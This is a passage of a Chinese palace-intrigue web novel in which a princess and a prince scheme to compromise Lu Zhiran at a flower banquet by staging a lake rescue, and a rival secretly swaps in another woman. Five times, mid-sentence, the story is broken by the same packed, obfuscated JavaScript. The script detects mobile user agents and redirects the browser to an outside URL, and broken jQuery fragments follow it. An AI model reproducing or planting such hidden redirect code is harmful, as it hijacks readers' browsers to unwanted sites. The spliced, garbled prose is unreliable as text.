“多亏六皇兄承让,不然我也抢不到这先机。弟弟这厢谢过皇兄了。” 萧晏辞专往他的痛处捅刀子,萧晏清呕了一口血。 拱了火,萧晏辞转身便走,萧晏清看着他的背影,恨得牙根痒痒。 萧晏清转身去了毓秀宫,李贵妃见他脸色难看,心里咯噔了一下。 “这是发生了何事?” 萧晏清满脸怒气,“我们又被萧晏辞那厮抢了先机!” 他将御书房之事道来,李贵妃惊得直接站了起来。 “此事当真?” 萧晏清满脸烦躁,“他当着父皇的面亲口邀功,怎会有假?” 李贵妃气得面容扭曲,“我就知道,柔妃母子就是天生克咱们!” 萧晏清对李贵妃也生出了迁怒,“当初儿臣便提议及早向父皇进献此物,母妃却非要试种,而今倒好,到手的功劳白白丢了!” 李贵妃心口一堵。 “母妃还不是为了稳妥起见?万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162009|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那赵书宁的话掺了假,你直接把东西献给你父皇,日后岂不是要被问责?谁能想到萧晏辞那小子这般不按常理出牌。” 李贵妃心里自然后悔,但再后悔也来不及了。 她原本对洋芋寄予厚望,现在,只盼着那些洋芋全都死在地里才好。 但德丰帝亲自安排的试种,他们万万不敢动手脚。 这段时间的接连失利,让萧晏清心头慢慢浮躁起来。 不能继续任由事态发展下去,他必须要绝地反击! “母妃,孩儿有一法,或能扭转乾坤。” “什么法子?” 萧晏清低声,将自己的筹谋道出,李贵妃闻言,断然否决。 “不行!这,这怎么能行?岂能让你如此牺牲?” 萧晏清眸底闪过一抹决绝,“成大事者不拘小节,这点牺牲又算得了什么?” 李贵妃依旧摇头,“你会被人笑话的!日后此事也会成为你人生中的污点!” “儿臣管不了那么多了,母妃,犹豫就会败北,儿臣若不及时下手,只怕又要被萧晏辞捷足先登了,到时候,悔之晚矣!” 闻言,李贵妃最后一丝犹豫也被打消了,只是心中对萧晏清到底满心怜惜。 “委屈我儿了。” 萧晏清眸底一片势在必得的决绝。 “为成大业,任何牺牲都在所不惜!母妃,此事要办成还需好生筹谋。” 李贵妃敛了心神,认真思索一番,心中便有了主意。 “此事便交由你皇姐来办,她行事稳妥周全,定不会出岔子。” 李贵妃立马给萧婉贞传信,将她传召入宫。 母女二人关起门来好一番筹谋,终于敲定了计划,李贵妃心中大石总算落了一半。 她这时才留意到萧婉贞眼底的一抹青黑,便开口询问。 萧婉贞的眸底闪过一抹狠厉与阴霾,李贵妃蹙眉,“又与驸马起争执了?你虽贵为公主,但他好歹也是你的夫,你要适当低头,给足他脸面,不可一味在他面前摆公主的架子,不然,时日一长,夫妻就生分了。” 萧婉贞冷笑,“我就是太给他脸面了,他才敢背着我跟那些小**勾搭!” 第154章 鸿门宴 李贵妃满脸不赞同,“男人哪有不偷腥的?你身为正妻,应当大度。” 萧婉贞心口堵着一团郁气,“我都替他张罗了多少妾室,我还不够大度?他偷腥我都忍了,但他胆敢让那小**怀上孩子,还妄图瞒天过海,这我如何能忍?” 李贵妃闻言,面上也露出几分怒意。 “嫡子尚未出生,就搞出庶子,成何体统!” 得了母妃的赞同,萧婉贞这才觉得心气稍微顺了几分。 “我直接让人一碗堕胎药灌了下去,除了那孽障。” 她自认为自己行事没半点错处,谁也挑不出她的问题来,但夫君卢子阳却因此越发与她离心。 李贵妃看向她的肚子,犹豫着道:“贞儿,你的身子调养得如何了?” 这么些年了,贞儿只生了个女儿,驸马心中不满,想要儿子也是常理。 萧婉贞的面容微滞,旋即笼上一抹黯然。 “一直在吃药,但却不见好转。宫里的御医说,我生兰儿的时候伤了根本,要想再怀,只怕不易。” 李贵妃心头一痛。 身为女子,若是连儿子都生不出来,如何能在夫家站稳脚跟? 即便贵为公主,也同样如此。 卢家现在还能忍耐,但时日久了,定不会放任不管。 届时,那些小妾可就不能任由她打杀了。 李贵妃道:“那赵氏的医术不错,不若让她给你瞧瞧。母妃身上的毛病都十几年了,太医院的太医都治不好,却被她治好了。你姑且先试一试。成或不成,你都没有损失。” 萧婉贞原本还有些迟疑,但李贵妃极力推荐,她便勉强点了头。 三月中旬,天气一天天暖和,百花争相开放,各家也开始办起了赏花宴。 陆知苒收到了一封来自卢家的请帖。 内阁大学士卢文渊有三个嫡子,嫡长子卢承安和嫡次子卢明德皆在朝为官,只有嫡幼子卢子阳尚了公主,无官一身轻,成日里便是招猫逗狗,无所事事。 萧婉贞贵为公主,成婚后可以与驸马一道住到公主府去,但李贵妃让她留在卢家,好好伺候公婆,把卢家上下笼络住,也能更好地为萧晏清提供助力,她便一直住下了。 这帖子虽是以卢家的名义发出,但办赏花宴之人却是萧婉贞。 前脚,萧晏辞刚抢了萧晏清进献洋芋的功劳,后脚,萧婉贞就办了这赏花宴,究竟是巧合,还是别有用心? 陆知苒心中生出几分警惕,立马派人去打探卢家的情况。 近几日赵书宁频繁出入卢家,起先只是门房相送,后来,迎接和送客的都变成了萧婉贞身边的大丫鬟。 由此可见,请她过府的是萧婉贞,短短几日,她便得到了萧婉贞的认可。 陆知苒想到前世有关萧婉贞之事,心中对这场赏花宴更添了几分警惕。 这位公主可不是什么省油的灯。 这场赏花宴,多半是一场鸿门宴。 他们究竟想做什么呢? 转眼便到了三月十五,赏花宴之日。 卢府的朱漆大门上镶嵌着鎏金的兽首,在阳光下熠熠生辉。 正殿前的庭院里,海棠花开得正艳。这些名贵的魏紫姚黄,每一株都价值千金。 最引人注目的是那座琉璃暖房。整座建筑以琉璃为瓦,阳光透过时折射出七彩光芒。房内种植着来自异域的奇花异草,花香馥郁,令人恍若置身仙境。 这般景象,怕是连天上的琼楼玉宇也要逊色三分。 这场赏花宴,当真是名副其实,令**开眼界。 萧婉贞被一众小姐贵妇奉承巴结,卢大夫人钱氏和卢二夫人吕氏被冷落一旁,面上都不禁染上几分尴尬。 萧婉贞仗着身份,一贯强势,连府中中馈都被她握于手中,从不把她们放在眼里,自然不会在意她们的处境。 陆知苒还瞧见了两个老熟人,赵书宁和楚云清。 楚云清打扮得像一只花蝴蝶,热络地与众人交际。 赵书宁被萧婉贞带在身侧,俨然十分看重。 陆知苒与她的目光远远碰撞,赵书宁的眸底有一抹幽光飞快地闪过。 陆知苒心里生出一股微妙的预感,今日定会发生一些事,且会与赵书宁难脱干系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162010|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧宝珠有些百无聊赖,“那些花花草草有什么好看的?有这闲钱整这些虚的,还不如多买点好吃的呢。” 陆知苒闻言不禁失笑,这话也只有萧宝珠能说得出来。 人心复杂,物欲横流,有几人会如她这般简单纯粹? 这时,一道声音传来,“臣女见过九公主,见过平乐县主。” 二人抬头,见到了一张熟悉的脸。 “你是邢初樱还是邢初雪?” 陆知苒笑道:“这位应是邢二小姐。” 那姑娘小鸡啄米般的点头,“没错,臣女是邢初雪。” “她们两姐妹分明长得一模一样,你怎么认出来的?” 邢初雪也一脸好奇地看着陆知苒,想听听她的答案。 “邢大小姐沉稳,邢二小姐活泼,未语先是三分笑,自是好区分的。” 邢初雪摸着自己的脸,“我没有笑啊。” 陆知苒指了指她的眼睛,“你的眼里含着笑。” 陆知苒能感受到,她对自己带着亲近与善意,这也是她能确定对方身份的原因之一。 邢初雪眼里的笑意一下藏不住了,脸上又露出几分赧然来。 她很快正色,“公主,县主,我有一件正事想与你们谈一谈。” 陆知苒瞬间福至心灵,“可是为了你那表姐之事?” 邢初雪先是一诧,旋即连忙点头。 “你还记得此事?” “自然记得。” 那是与自己前世一般同病相怜的女子。 萧宝珠原本还有些懵,但很快想起自己当初在邢家不小心偷听到的二人的谈话。 她们行至了僻静处,邢初雪眸底染上一抹深深的黯然,“表姐她实在是熬不下去了。那家人根本不是人,我上次去瞧她,她身上根本没有一块好肉。我虽可怜她,但也没法为她的后半辈子负责。但近日,锦绣坊之事,让我大受震撼,表姐心中也燃起了希望。” “她和离之后想进锦绣坊干活,可以吗?我表姐她很能干的,刺绣手艺非常好,比宫里的绣娘也不差,只要你们给她机会,她一定能在锦绣坊干得很好的!” 第155章 许一个侧妃之位 她满眼紧张与期盼,唯恐她们会不答应。 陆知苒尚未开口,萧宝珠就毫不犹豫地点头。 “当然可以!只要她愿意,锦绣坊自然欢迎!” 邢初雪的眼眸瞬间亮了,“我替表姐谢过公主!” 她想要跪下,被萧宝珠一把拦住了。 “不必谢我,该谢也是谢苒姐姐。若非是她,也没有锦绣坊的存在。” 邢初雪看着陆知苒的眼神愈发充满崇拜。 陆知苒摇头,“也不必谢我,真正救赎她的是她自己。若她不能下定决心迈出那一步,便是有再多的锦绣坊,也救不了她。” 就像前世的自己,画地为牢,自己把自己困在了那座牢笼里,一步步让自己陷入绝境。 你永远无法叫醒一个装睡的人,也救不了一个执迷不悟的囚徒。 她能做的,只是给世间苦命女子撑起一把伞,铺就一条退路。 但究竟是继续深陷泥潭,还是勇敢地走出来,得看她们自己。 邢初雪和萧宝珠同时陷入了深思。 只有经历过磨难的人,才会有这番成长与感悟,她们看向陆知苒的眼神也不由带上了一抹怜惜。 三人一番畅聊,很是投机。 一道惊呼声打断了她们,“哎呀,你怎么倒的茶啊!” 是楚云清的衣裳被打湿了,她恼怒地瞪着眼前的丫鬟,气得想**。 丫鬟手足无措,“对,对不起,奴婢不是故意的,是,是方才有人撞了奴婢一下。” “你还狡辩!” 赵书宁开口打圆场,“清儿,不过一件衣裳罢了,换了便是,不要失了风范。” 楚云清心中虽恼恨,但到底碍于公主在场,只得忍下这口气,随丫鬟下去换衣裳了。 陆知苒眸底闪过一抹若有所思。 她一直留意着那边的动向,若她方才没有看错的话,是赵书宁身边的丫鬟碧莹撞了那丫鬟一把。 她为何要这么做? 萧宝珠方才茶水喝多了,便起身去更衣。 很快,又有一个丫鬟急匆匆而来,“邢二小姐,可算找到您了,您快去吧,邢大小姐有急事寻您呢。” 邢初雪只得和陆知苒告别,由丫鬟引着往别处去。 看着身边的人都被支走了,陆知苒微垂眼睑。 来了。 若她猜得没错的话,很快就会有人把她叫走。 果然,约莫一刻钟后,又有一个丫鬟上前传话,称萧宝珠唤她前去。 陆知苒不疑有他,毫不犹豫抬步跟了上去。 赵书宁不动声色地朝她离开的方向看了一眼,很快收回。 那丫鬟领着陆知苒往某个方向走,她一边走,一边暗暗观察着周遭,脑中已经勾勒出一条路线。 这丫鬟是在引她往外院去。 对方的意图是什么,她心中已经隐约有了猜测。 陆知苒眸底闪过一抹冷意。 内院,众人依旧在赏花。 萧婉贞脸上挂着得体的笑,心中却暗暗估摸着时间,事情应当成了。 正这般想,花园入口处,就有一名嬷嬷急匆匆跑来,面上露出几分焦急之色。 卢大夫人钱氏瞧见了,便把人唤到跟前,“何事如此慌张?” 那婆子支吾着不敢开口,只是暗暗用余光去看萧婉贞的方向。 钱氏见此,心头不由一梗,自己在这个家,连一个嬷嬷都支使不动了。 萧婉贞上前,漫不经心地开口,“出了何事?” 那婆子这才开口,“是,是前院出事了,玉带桥有人落了水,六皇子恰好经过,便跳下去救人了。” 萧婉贞眸底飞快闪过一抹幽光,面上却故作焦急。 “什么?” 一个身穿藕粉色襦裙的妙龄少女急得跳脚,高声斥骂。 “你们一个个都是吃素的不成?怎能让六皇子亲自涉险?若他有个三长两短,你们担待得起吗?” 少女容貌俏丽,此时满脸怒容,平添几分骄纵跋扈。 她是卢家的嫡小姐,卢诗音。 她眼底眉梢间都是对萧晏清的担忧与关切,那份心意,再明显不过。 那婆子垂着头,嗫嚅着说不出话。 萧婉贞又问,“是谁落了水?” 那婆子飞快道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162011|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是,是平乐县主。” 此言一出,周遭皆是倒吸冷气之声。 平乐县主落水,六皇子跳下去救了人,那六皇子岂不是要对她负责? 卢诗音更是惊得美眸圆瞪。 萧婉贞故作疑惑,“好端端的,她不在这内院赏花,跑到外院去做什么?” 立马有人揣测,“腿长在她自己身上,若非她自己往外院跑,谁还能架着她不成?依我看,她分明就是故意的!只怕是想趁机再给自己择一门良婿呢!” 卢诗音闻言,一股怒意直冲脑顶,汹涌难抑,“不要脸的**!她一介二嫁之身,还妄图攀上六皇子,真是做梦!” 说完,她抬步便朝前冲,一副气势匆匆,要撕了陆知苒的架势。 萧婉贞见此,也并不阻拦。 她这小姑子一颗心都挂在晏清的身上,又是个跋扈性子,此事由她闹上一场,定会人尽皆知。 到时候,陆知苒想不嫁都难。 凭陆知苒的二嫁之身,自然是高攀不上晏清的。 他们之所以出此下策,图的也不是她这个人,而是她的银子。 此女富可敌国,且足智多谋,没少为萧晏辞出谋划策。 晏清委屈自己,娶她入门,就能将她的银子全都收为己用,便相当于斩断了萧晏辞的一根臂膀。 她虽是县主,但万万担不起王妃之位,许她一个侧妃之位,已然莫大恩赐。 好在此计已成,也不枉费自己苦心筹谋。 萧婉贞也抬步朝前院而去,众人便纷纷跟上,只想去瞧一瞧这热闹。 赵书宁跟在萧婉贞身侧,眸底是一抹晦暗不明。 众人很快赶到玉带桥,便见岸边,六皇子抱着一个裹得严严实实的女子,他的眸底满是怜惜之情。 卢诗音见此,双眸几乎瞬间喷火。 赵书宁的目光则是落在了另一人的身上。 楚翊安也在,他的浑身上下湿哒哒的,面色有些惨白,一双眸子死死盯着萧晏清怀里的女人,眸底压着一股隐忍压抑的愤怒。 就好似,自己的东西被旁人抢走了一般。 第156章 好女不侍二夫 赵书宁的心不受控制地缩了缩。 一听到陆知苒落水,他还是会义无反顾地往下跳。 见到陆知苒被六皇子救起,他更是摆出这么一副模样,这是做给谁看? 卢诗音冲上去,又气又急,“殿下,您怎能亲自下水救人?男女授受不亲……” 萧晏清抬头朝她看来,脸上神色淡淡的。 “平乐县主落水,性命危在旦夕,本王刚好在附近,难道只因顾及名声就袖手旁观,眼睁睁地看她**?” 卢诗音根本不信,“好端端的她怎会落水?这定是她的阴谋诡计,就是故意引殿下救她,好赖上您!” 怀中之人似是受了惊吓,环着他腰身的手圈得更紧了几分,萧晏清心中升起一股怜惜。 “休要胡言,谁会拿自己的性命开玩笑?本王并非没有担当之人,既与她有了肌肤之亲,就会给她应有的名分,对她负责到底。” 卢诗音闻言不可置信,“她什么身份,她怎么配!” 萧晏清冷着脸,“卢小姐,请你慎言。平乐县主数次救百姓于水火,为父皇分忧,乃大齐朝当之无愧的大功臣,更是当代女子的楷模,容不得你如此贬低。” 卢诗音却早已被嫉妒冲昏了头脑,越发口无遮拦,“她一个二嫁之身,算什么当代女子的楷模?她不好好待在家里,反而到处抛头露面,简直不知廉耻!” 萧婉贞适时开口,“诗音,住嘴!” “我说的都是实话!好女不侍二夫,她这样的人,就该在庙里青灯古佛了此一生,才能全了贞洁二字。为了攀高枝,处心积虑地使了这般龌龊的手段,不是不知廉耻是什么?” 卢诗音乃家中**,自小被卢老爷宠着长大,跋扈专横,蛮不讲理。 加之心上人被其他女人算计,她发起疯来就更是不管不顾。 萧晏清的眸底闪过一抹嫌恶,神色也越发冷淡。 “堂堂大学士之女,却咄咄逼人,满口污言秽语,你的教养便是如此?” 卢诗音触到他眸底的厌恶,心头一刺。 “今日之事只是一场意外,平乐县主行事高风亮节,有男子所不及的魄力,断然不是你口中所说那样的人。本王现在便立马入宫,向父皇请旨赐婚。” 怀中的人发出一声呛咳,艰难开口,“不,不可!” 萧晏清满目柔情,“县主,本王既毁了你的清白,就定要对你负责到底,你不必担忧。” “不,不是……我不是……” 人群外传来一道清凌凌的声音,“这是怎么了?发生了何事?” 众人听到这道声音,纷纷回头。 待看到一身齐整装扮的人,大家的眼珠子险些瞪了出来。 邢初雪激动地冲上前,一把拉住她的手。 “平乐县主!你没落水?太好了!” 陆知苒疑惑地环顾众人,只觉得大家的表情甚是古怪。 “好端端的我怎会落水?” 卢诗音的怒意僵在脸上,萧婉贞唇角那抹计谋得逞的微笑也瞬间凝固。 萧晏清更是如遭雷击,配上他那尚未来得及收敛的深情款款的表情,看上去分外滑稽。 楚翊安看到她的一瞬,方才那股绷到极致的心弦才彻底放松下来。 萧宝珠看向卢诗音,“方才我好像听到卢小姐大放厥词,百般诋毁平乐县主。卢小姐,平乐县主可是我父皇亲口称赞之人,你如此放肆,是不把我父皇放在眼里?” 跋扈的卢诗音在萧宝珠面前都不禁微微缩了缩脖子。 这两人是老熟人了,卢诗音没少被萧宝珠压着打,一见到她就不受控制地腿软。 卢诗音气焰矮了三截,“方才只是一场误会罢了……” 萧宝珠冷笑,“误会?你方才骂的那些话那般难听,一句误会就想揭过去?” 卢诗音蛮横惯了,即便知道自己骂错了人,也不肯轻易低头认错。 她狡辩,“方才大家口口声声称落水之人是平乐县主,我会误会也是情理之中。” 陆知苒故作疑惑地开口,“就算落水之人是我,卢小姐又何必口出恶言?难道落水还犯了死罪不成?” 卢诗音立马将炮火转向了萧晏清怀里之人,“若只是不小心落水自然没什么,但有人故意设计,让六皇子下水救人,借此赖上他,如此行径,简直丢尽了女子的脸面,难道不该骂吗?喂!你是谁?还躲着不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162012|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见人,你莫不是心虚了?” 所有人都看向萧晏清怀里那人。 对啊,平乐县主没落水,那这人究竟是谁? 萧晏清终于从震惊中抽离回神,一把将怀中人推开,那人一时不防,狠摔在地,也露出真容来。 楚翊安不可置信,“清儿!怎么是你?” 一阵冷风吹来,楚云清狠狠打了个喷嚏,丫鬟立马上前给她裹上披风。 她裹着披风,可怜兮兮地开口。 “我,我的衣裙被丫鬟打湿了,就去换了一身,行至此处,我被一个丫鬟推了一把,这才落入了湖中。” 萧晏清的面色铁青,袖中的拳头也瞬间握紧了。 皇姐究竟是怎么办事的?怎么把这么一个冒牌货推到水里,还瞎喊! 若非听到有**喊“平乐县主落水了”,他怎会如此奋不顾身地去救人? 萧婉贞也气得想**。 她明明安排得如此周全,到底是哪一步出了错? 陆知苒看着楚云清身上那件与自己同色的衣裳,心中原本的疑惑总算有了答案。 原来如此。 萧婉贞和萧晏清想算计她,让她失了清白,不得不嫁入六皇子府。 赵书宁得知此事,便暗中筹谋,把落水之人换成了楚云清。 碧莹故意推搡丫鬟,打湿楚云清的衣裳,这是第一步。 让楚云清换上与自己同色的衣裳,混淆视听,此为第二步。 引她行至这玉带桥,推入湖中,此为第三步。 而后,再派人高喊,误导萧晏清下水救人,此为最关键的一步。 除此之外,还有更关键的一步,那就是想法子绊住自己,让自己在事发之前不要出现在玉带桥,一旦自己露面,这场戏就唱不下去了。 方才,那丫鬟以萧宝珠的名义,要把她引到此处,但半道上,她们却遇到了萧宝珠,那丫鬟的谎言不攻自破。 而萧宝珠之所以会出现,便是有人给她传信,想来,那传信之人也是赵书宁。 她凭一己之力,将萧婉贞和萧晏清都**于股掌之中,这可真是太有意思了。 若有一日,萧婉贞知道自己引狼**,又会是何等反应呢? 第157章 人不犯我,我不犯人 她朝赵书宁看去,对方似有所感,也转眸朝她看来。 陆知苒似笑非笑,眸中藏着一股窥破一切的了然。 赵书宁心里微微咯噔了一下,旋即暗道自己想多了。 她没有落下半点把柄,没人能查到她的身上,陆知苒也不可能猜得到。 陆知苒并没有拆穿的意思。 赵书宁自作聪明,把宣平侯府与六皇子彻底绑定,日后,有她后悔的时候。 这把火没有烧到自己身上,那她便只管安心看戏便是。 楚云清有些羞怯地看了萧晏清一眼,“幸而得六皇子出手相救,不然,不然我就要淹死在这湖里了!” 萧晏清呕得要吐血,早知道是她,自己岂会多管这闲事?叫她淹**才好! 而今,要如何收场? 无人说话,现场陷入了死一般的寂静。 萧宝珠站出来主持正义,“六皇兄,你虽是为了救人,但到底当众与人搂搂抱抱,坏了楚大小姐的清白,你得给她一个名分才是。” 这话是方才他自己说的。 但现在,他却如鲠在喉,完全说不出口。 楚云清满脸期盼地望着他,他却迟迟没有开口。 萧宝珠拱火,“六皇兄,你该不会是不想负责吧?” 楚云清立马急急道:“不可能,方才六皇子亲口说了,会第一时间入宫向皇上请旨赐婚的!” 他方才以为自己是陆知苒那个二嫁之人,都能如此有担当魄力,现在换成了自己这个清清白白的黄花大姑娘,又怎会不想负责呢? 所有人都看着他,他便是心中有再多不甘,也只能揽下此事。 “本王自会负责到底。” 楚云清听到肯定的答复,眸底瞬间亮了起来,看着萧晏清那丰神俊逸的面容,有些痴了。 虽然方才落水的经历很糟糕,她差点被淹**,但阴差阳错,自己即将嫁给六皇子,这点牺牲根本算不得什么! 卢诗音再次跳脚,“殿下,你,你不要被她骗了,此事定是她自导自演的一出戏定,我们卢家的下人怎会无缘无故把人推下水?” 不论是陆知苒,还是楚云清,她都容忍不了她们嫁给六皇子。 她到了适婚的年纪,却一直没有议亲,便是在等皇子选妃之日,凭她的身份,定能成为六皇子妃,父亲也向她承诺过会促成此事。 眼下却被人抢了先,她如何能忍? 就算楚云清只能屈居侧妃或是侍妾的位置,但她也不能比自己先进门。 楚云清满脸焦急,“我说的都是实话……” “那你给我把那人找出来!” “我,我没留意,没看清她的长相。” “空口白话,谁会信你?你把人证找出来,不然你就是别有居心。” 楚云清急得脸色涨红,只能不停重复,“我说的都是实话,我没有说谎。” 卢诗音咄咄逼人,萧婉贞终于开了口,“好了!有你这般对待客人的吗?” 卢诗音依旧不服气,“她分明就是故意要赖上六殿下……” “住嘴!无凭无证之事,岂容你胡说八道?” 萧婉贞心中固然十分气恼,但此事本就禁不起细查,继续闹下去没有半点好处。 宣平侯府是他们这一边的,事已至此,他们必须做出取舍和表态。 “楚大小姐乃大家闺秀,怎会做出这样的事?晏清既坏了人家姑娘的清白,就该负责到底,此事无可争议。” 萧晏清也终于调整好了状态,跟着开口。 “本王方才已经说了,会负责到底,就断然不会食言。” 楚云清顿时满脸感动地看着他,眼底的柔情几乎满溢。 卢诗音心头不甘又愤恨,只能怨怼地瞪着楚云清。 萧宝珠看热闹不嫌事儿大,“六皇兄如此有担当,有魄力,实乃可堪托付的良人也。女子名声金贵,你可要尽快向父皇**,把亲事办了。” 萧晏清咬牙切齿,从齿缝里挤出一句话。 “自当如此。” 他的眼神禁不住落在陆知苒的身上,眸底含着一抹戾气。 此事定与她脱不开干系! 他们所有人竟然被这女子给耍了,当真可恨! 此事尘埃落定,赵书宁原本悬着的心也终于彻底放了下去。 让楚云清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162013|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶替陆知苒,是她反复斟酌之后才做出的决定。 她心中也有顾虑,楚云清又蠢又笨,贪婪自私还不安分,让她嫁入六皇子府,是福是祸谁都无法预料。 但楚云清再蠢,有一点却是肯定的,她贪慕虚荣,比谁都想过好日子。 正是这一点,才让她下定了决心。 凡事不破不立,越是瞻前顾后,就越无法破局,这一步棋,或许能让宣平侯府的境遇发生逆转和改变,至少,他们与六皇子之间的联盟会越来越稳固。 只是,陆知苒身怀巨财,只怕六皇子不会死心。 必须想法子,永绝后患。 但此事不易,还得从长计议才行。 眼睁睁看着自己心上人要另娶他人,卢诗音又气又恼,扭头就想走,却被萧宝珠拦住。 “你还没给平乐县主道歉,就想这么走了?” 卢诗音眼眶通红,恶狠狠地瞪着她。 萧宝珠可不怕她,“瞪着我做什么?道歉!你不道歉,我就去找父皇告状!不仅要告你,还要告你爹一个管教不严之罪。” 萧宝珠明晃晃地仗势欺人,卢诗音气得不轻。 萧婉贞眼神幽幽,“小九,平乐县主宽和大度,定然不会与诗音一般见识,你又何必这般强出头?” 说完,她便看向陆知苒,眼神暗含威严。 陆知苒若是识趣,就应当知道该如何表现。 但陆知苒偏偏不识趣,她淡淡回望着对方,“人不犯我,我不犯人。人若犯我,我也不是泥捏的。卢小姐出言冒犯在先,对我道一句抱歉,应当不过分吧?” 萧婉贞指甲掐进肉里,险些掐出血来。 她这话是何意?是在点自己不成? 卢诗音更是充满怨恨地怒视她。 陆知苒唇角勾起一抹嘲讽,“原来这就是卢家的待客之道,今日我倒是见识到了。堂堂大学士府的家风,不过如此。” 这话让卢家人都变了脸色。 这话传出去,卢家几代人积攒下来的好名声就要毁了。 大夫人钱氏再也没法做事不管,沉着脸训斥卢诗音,“还不快给平乐县主道歉!” 第158章 心机手段非比常人 卢诗音狠狠咬唇,最终还是不情不愿地开口,“对不起!” 撂下这话,她转身便跑,现场再次陷入尴尬。 萧婉贞冷着脸不说话,钱氏赔着笑脸,“诗音是小孩子脾气,还请县主见谅。” 二夫人吕氏也跟着附和。 陆知苒语气淡淡,“贵府小姐的脾性实在是令人不敢恭维,日后这卢府,我是断然不敢再来了。今日多有叨扰,告辞。” 说完,她也不管她们是何反应,转身离开。 萧宝珠哼了一声,也跟着一块走了。 萧婉贞气得面色铁青。 陆知苒此番行径,俨然是半点面子情都不顾,她将卢家置于何地?将自己这个公主置于何地? 赵书宁唇角勾起一抹看好戏的笑。 陆知苒自诩自己有功劳在身,便如此目中无人,到处树敌,日后有她的苦头吃。 离开了卢家,萧宝珠觉得解气极了。 大家都习惯了维持表面和平,即便是断交,也没人把话撂到明面上来,陆知苒却是直言不讳,半点没给卢家脸面,萧宝珠觉得她飒极了。 陆知苒面色冷然,“他们对我的算计已是司马昭之心路人皆知,我又何必再与他们虚以为蛇?” 萧宝珠大为赞同,“我就喜欢这种直来直去的方式,有事直接发疯,看谁还敢主动招惹咱们。” 外头隐约有一阵喧哗议论传来,萧宝珠认真听了一番才知道,楚云清落水被六皇子所救之事竟然已经传了出来,这下子,楚云清进六皇子府便成了板上钉钉之事了。 不用猜,此事定也是赵书宁的手笔。 萧宝珠尚未明白其中的弯弯绕绕,陆知苒便细细与她道来。 萧宝珠瞠目结舌,“赵书宁也太大胆了,她竟敢在皇姐的眼皮子底下动手脚。” 关键是,还成功了。 陆知苒认真评价,“赵书宁的心机手段的确非比常人。” 只可惜,她的骨子里便缺了些道德感和同理心,为了达到自身的目的,她可以无所不用其极,这也让她的那份心机手段变得分外可怕。 “那你怎么不当场拆穿她?” 陆知苒摇头,“我拆穿她,不也相当于把四公主和六皇子欲对我使的计谋摆到了台面上?他们非但不会承认,还会倒打一耙。更何况,我没有证据,无凭无证之事,何必浪费口舌?” 萧宝珠被堵得无话可说,但心底到底咽不下这口气。 “他们一个个的,都不是什么好东西,竟敢把主意打到你头上,真是太过分了!” 陆知苒淡淡一笑,“不必生气,对付赵书宁,我早已有了对策。今日之事我不当面拆穿,只是时机未到罢了。” 此事会成为一颗提前埋下的怀疑的种子,只待时机一到,这颗种子就会破土而出。 顿了顿,她又道:“今日之事便可窥知,他们之间的关系并非牢不可破,赵书宁的小心思多得很,六皇子用她,定会自食其果。” 萧宝珠重重点头,“没错,我们就等着看他们狗咬狗吧!” 马车外传来一阵哒哒马蹄声,萧宝珠掀起车帘往外看,就见到了一道熟悉的人影。 “七皇兄。” 萧晏辞勒马,目光往马车里轻轻一带,很快收回。 “好巧。你们不是在卢家参加赏花宴吗?这般快就结束了?” “说来话长,咱们找个地方边吃边聊。” 兄妹二人火速做了决定,还是在老地方漱芳斋,陆知苒压根没有开口的机会。 